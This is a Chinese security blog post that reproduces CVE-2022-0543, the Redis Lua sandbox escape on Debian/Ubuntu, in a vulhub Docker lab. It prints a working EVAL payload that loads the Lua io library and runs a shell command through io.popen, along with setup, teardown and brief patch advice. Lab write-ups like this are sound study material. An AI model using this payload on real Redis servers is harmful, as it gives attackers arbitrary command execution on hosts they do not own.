目录
特此声明:本文仅供安全研究与学习之用,禁止一切危害网络安全行为及其他途径,由使用者承担全部法律及连带责任,作者本人和团队不承担任何法律及连带责任。
前言:
Redis 是一种开源(BSD 许可)内存数据结构存储,用作数据库、缓存和消息代理。
Reginaldo Silva 发现,由于 Debian/Ubuntu 上的打包问题,能够执行任意 Lua 脚本的远程攻击者可能会逃出 Lua 沙箱并在主机上执行任意代码。
环境搭建:vulhub
cd redis/CVE-2022-0543
运行
docker-compose up -d
漏洞复现:
复现前提本地有redis-cli
PS C:\WINDOWS\system32> redis-cli -h 192.168.49.135//有漏洞IP
产生原因:该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package
变量,该变量又允许访问任意 Lua 功能。
Payload:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
复现成功页面:
结束服务:
docker-compose down
修复建议:目前此漏洞已经修复,建议受影响用户升级更新到以下修复版本,修复链接自行官网。
更多精彩文章 欢迎关注我们,或者移步微信公众号cclhlwork
后续会酌情陆续开放微信小程序社区、博客地址、知识星球等等相关内容分享地址。
注:对文章如有任何疑问,请在后台发送“运营小姐姐”。